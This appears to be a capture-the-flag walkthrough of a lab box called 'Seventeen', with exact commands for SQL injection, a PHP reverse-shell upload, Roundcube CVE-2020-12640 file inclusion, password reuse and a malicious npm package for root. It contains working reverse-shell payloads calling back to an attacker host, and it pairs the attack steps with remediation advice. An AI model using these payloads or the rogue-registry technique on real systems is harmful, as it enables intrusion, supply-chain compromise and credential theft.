← all walkthroughs

Seventeen

Linux· Hard· Web
owned
2026-10-14
time to own
28m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a school-management site on port 80 and an Examination Management System on a virtual host. The exam app had an unauthenticated SQL injection that leaked a student login. That login opened an internal management portal on port 8000, where the student could upload files.

The uploaded PHP file was run through a file-inclusion flaw in an outdated Roundcube webmail installer, giving a shell as www-data inside a Docker container. A database password in a config file there was reused for SSH on the real host as user 'mark'. Mark could read mail that pointed to a private npm registry, which held a package leaking the password of a second user, 'kavi'.

Kavi could run an npm-based startup script through sudo. I used that script to make root install and run a malicious package from my own registry, which gave full root control of the host.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for mark>"
export PASSWORD2="<the-password-you-recovered, for kavi>"
export PASSWORD3="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <port>, <port2> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationPort scanning and virtual-host fuzzing (T1595, T1046)
Mapped exposed services and discovered hidden virtual hosts
A port scan showed SSH (22), an Apache site on port 80 for seventeen.htb, and a second Apache service on port 8000 that only answers to specific hostnames. Fuzzing the Host header on port 80 revealed the exam.seventeen.htb virtual host, an Examination Management System. Further hostnames (oldmanagement, mastermailer) were found later through application data and a leaked PDF.
Open ports 22/80/8000; port 80 served an education-themed site; port 8000 returned 403 on the bare IP and responded only to vhost names.
Exact commands 4
shell

Find open ports, then fingerprint services.

$ nmap -p- --min-rate=1000 $TARGET && nmap -sCV -p22,80,8000 $TARGET
shell

Add the discovered vhosts to local name resolution.

$ echo "$TARGET seventeen.htb exam.seventeen.htb oldmanagement.seventeen.htb mastermailer.seventeen.htb" | sudo tee -a /etc/hosts
shell

Fuzz vhosts; the -fw value filters the default response and may need adjusting.

$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.seventeen.htb' -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fw 2760
shell

Confirm the web app on port 80.

$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET/index.html
2Initial AccessUnauthenticated SQL injection (CWE-89, T1190)
Dumped student credentials through SQL injection in the exam system
The Examination Management System passed the 'id' parameter of the take_exam page straight into a database query. Injecting into it without logging in let me list the databases and read the student table. That gave a student number and password for the user 'Kelly', and the users table exposed the hidden 'oldmanagement' site through an avatar path.
Sqlmap enumerated db_sfms.student (stud_no 31234, password ) and erms_db.users, whose avatar path pointed at oldmanagement.
Exact commands 3
shell

Confirm the injection and list the databases.

$ sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --dbs --level 3 --batch
shell

Dump student records (student number and password).

$ sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id -D db_sfms -T student --dump --level 3 --batch
shell

Dump the app users table, which leaks the oldmanagement hostname.

$ sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id -D erms_db -T users --dump --level 3 --batch
FixFix SQL injection in the Examination Management SystemCritical
WeaknessThe 'id' parameter of the exam application was placed directly into a database query, letting an anonymous visitor read student and user tables, including plaintext passwords.
FixUse parameterized queries or prepared statements for every database call. Cast numeric IDs to integers. Give the web app a database account with only the rights it needs. Store passwords as salted hashes (bcrypt or Argon2), not plaintext. Update or retire the exam application, since public exploits exist for it.
3Initial AccessUnrestricted file upload (CWE-434, T1505.003)
Logged in to the student portal and uploaded a PHP file
The student number 31234 and password logged in to oldmanagement.seventeen.htb on port 8000. A PDF in the portal mentioned a 'mastermailer' mail host and a January 2020 date, which pointed to an old Roundcube release. The portal stored student uploads under a predictable path and did not restrict file type. I uploaded a PHP reverse-shell file named papers.php so it matched an existing folder name under the student's upload directory.
Login with student number 31234 succeeded; Marksheet-finals.pdf named mastermailer; uploads root /var/www/html/oldmanagement/files/31234/ contained a 'papers' directory.
Exact commands 3
shell

Create the reverse-shell payload. The file name must be papers.php, matching the papers folder. Replace $ATTACKER_IP and <port>.

$ printf '%s' '<?php system("bash -c \"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/<port> 0>&1\""); ?>' > papers.php
shell

Browse to the portal, log in as student number 31234 / $PASSWORD3, and upload papers.php through the file-upload form.

$ curl -sS -i -H 'Host: oldmanagement.seventeen.htb' http://$TARGET:8000/
shell

Find the existing folder name under the student's upload directory (it was 'papers').

$ ffuf -u http://$TARGET:8000/files/31234/FUZZ -H 'Host: oldmanagement.seventeen.htb' -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
FixValidate and isolate file uploads in the student portalHigh
WeaknessA student account could upload an executable PHP file into a web-served directory with a predictable path, with no check of file type or content.
FixAllow only needed document types (for example PDF) by extension and content check. Rename uploads to random names. Store them outside the web root, or disable script execution in the upload directory. Apply least privilege to the uploads folder.
4ExecutionRoundcube PHP file inclusion via installer, CVE-2020-12640 (T1190)
Ran the uploaded file through a Roundcube installer file-inclusion flaw
The mastermailer host ran Roundcube 1.4.2 with its installer still reachable. Roundcube 1.4.2 is affected by CVE-2020-12640, where the installer's plugin setting is used to include a PHP file by path. Pointing that setting at the uploaded papers file with directory traversal made the server execute it. The reverse shell connected back as www-data inside a Docker container.
POST to /mastermailer/installer/index.php with _plugins_qwerty=../../../../../../../../../var/www/html/oldmanagement/files/31234/papers returned a shell: uid=33(www-data), hostname 31d17173fe37.
Exact commands 4
shell

Start the listener before triggering the include.

$ nc -lvnp <port>
shell

Save the config with the traversal path so the installer includes papers.php.

$ curl -sS -i --max-time 20 -H 'Host: mastermailer.seventeen.htb' -d '_step=2&_product_name=X&_plugins_qwerty=../../../../../../../../../var/www/html/oldmanagement/files/31234/papers&submit=UPDATE+CONFIG' http://$TARGET:8000/mastermailer/installer/index.php
shell

Load Roundcube so the plugin include runs and the reverse shell fires.

$ curl -sS -H 'Host: mastermailer.seventeen.htb' http://$TARGET:8000/mastermailer/
shell

Confirm the www-data shell inside the container.

$ id; hostname; pwd
uid=33(www-data)
FixUpgrade Roundcube and remove the installerCritical
WeaknessRoundcube 1.4.2 was exposed with its /installer directory still reachable. That version is vulnerable to a file-inclusion flaw (CVE-2020-12640) that runs externally chosen PHP files.
FixUpgrade Roundcube to a currently supported release. Delete the installer directory after setup, or block access to it in the web server config. Set open_basedir for PHP so it cannot include files from other applications' folders.
5Lateral MovementCredentials in files and password reuse (T1552.001, T1078)
Reused a database password from a config file to SSH into the host
From the container, I read the employee management app's database connection file, which held a hardcoded password. The same password was the SSH password of the local host user 'mark', so I left the container and logged in to the real server, reaching the user-level foothold.
dbh.php contained the database user root with password; SSH as mark succeeded (uid=1001, host 'seventeen') and /home/mark/user.txt was read.
Exact commands 2
shell

Run in the www-data shell to read the hardcoded database password.

$ cat /var/www/html/employeemanagementsystem/process/dbh.php
shell

Log in to the host as mark -> <user.txt>

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mark@$TARGET 'id; hostname; pwd; cat /home/mark/user.txt'
FixStop hardcoding and reusing passwordsHigh
WeaknessA database password sat in clear text in a PHP file, and the same password was the SSH login for a host user. Any web compromise therefore led to a real account on the server.
FixGive every service and person a unique password. Change the exposed one now. Keep application secrets in environment variables or a secrets manager with restricted file permissions. Restrict SSH to key-based logins and limit it to approved source addresses.
6Credential AccessCredentials in a package and unauthenticated private registry (T1552.001, T1552)
Found a private npm registry through local mail and recovered kavi's password
Mark's mailbox held a message to kavi saying the db-logger package had been replaced by loglevel on a private registry. A listener on 127.0.0.1:4873 was a Verdaccio npm registry. Installing the old db-logger package from it was possible without authentication, and its source file contained kavi's username and password in clear text. I switched to kavi with that password.
node_modules/db-logger/logger.js contained the kavi account password; SSH as kavi succeeded (uid=1000).
Exact commands 4
shell

From mark's session, read the mail that mentions db-logger and the private registry.

$ cat /var/mail/kavi
shell

Find the local Verdaccio registry on 127.0.0.1:4873.

$ ss -tlnp
shell

Install the old package and read the hardcoded kavi credentials from it.

$ mkdir /tmp/x && cd /tmp/x && npm install db-logger --registry=http://127.0.0.1:4873 && cat node_modules/db-logger/logger.js
shell

Log in as kavi and list sudo rights; sudo asks for a password, so use ssh -tt or 'sudo -S' if needed.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null kavi@$TARGET 'id; hostname; pwd; sudo -l'
FixRemove secrets from packages and require authentication on the private registryHigh
WeaknessThe internal npm registry allowed anonymous installs, and a published package contained a user's plaintext password in its source code. A local user could get it by installing the package.
FixRotate kavi's password. Remove credentials from all published package versions, and unpublish or deprecate the old ones. Require authentication on Verdaccio for both reading and publishing. Scan packages for secrets before publishing.
7Privilege EscalationDependency confusion and npm config hijack through sudo (T1548.003, T1195.001)
Hijacked the sudo-allowed npm startup script with a malicious package
Kavi could run /opt/app/startup.sh as root. The script runs 'npm install' for db-logger and loglevel without naming a registry, and the sudo setup kept the caller's HOME directory, so root's npm read kavi's ~/.npmrc. I ran a rogue registry hosting a loglevel package with a higher version number whose code opened a reverse shell. Kavi's .npmrc was pointed at that registry, and running the script made root download and run the package, giving a root shell.
startup.sh installed unpinned packages with no --registry; sudo -l showed '(ALL) /opt/app/startup.sh'; running it returned uid=0(root) on host 'seventeen' and /root/root.txt was read.
Exact commands 6
shell

On my machine, start a rogue Verdaccio registry.

$ docker run --rm -p 4873:4873 -e "VERDACCIO_PUBLIC_URL=http://$ATTACKER_IP:4873" verdaccio/verdaccio
shell

Create a registry user (npm v9+ needs --auth-type=legacy).

$ npm adduser --registry http://localhost:4873 --auth-type=legacy
shell

Publish a loglevel package with a higher version containing a reverse shell. Replace $ATTACKER_IP and <port2>.

$ mkdir loglevel && cd loglevel && npm init -y && npm pkg set version=99.0.0 && echo 'require("child_process").exec("bash -c \"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/<port2> 0>&1\"")' > index.js && npm publish --registry http://localhost:4873
shell

Listener for the root shell.

$ nc -lvnp <port2>
shell

Run as kavi. Root's npm reads kavi's .npmrc and installs the malicious loglevel.

$ echo "registry=http://$ATTACKER_IP:4873/" > ~/.npmrc; sudo /opt/app/startup.sh
shell

Confirm root -> <root.txt>

$ id; hostname; pwd; cat /root/root.txt
uid=0(root)
FixHarden the sudo-allowed npm startup scriptCritical
WeaknessA user could run a script as root that installed unpinned npm packages with no fixed registry, while sudo kept the user's HOME so root read the user's own .npmrc. The user could therefore choose where root downloaded code from.
FixDo not give users sudo rights to scripts that run package managers. Install and pin dependencies at build time with a lockfile (npm ci) and a fixed registry in a root-owned config. Make the script and its directory root-owned and not writable by others. In sudoers, set 'Defaults always_set_home' or 'env_reset' with HOME reset, and upgrade sudo and the OS to a supported release.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp
8000/tcp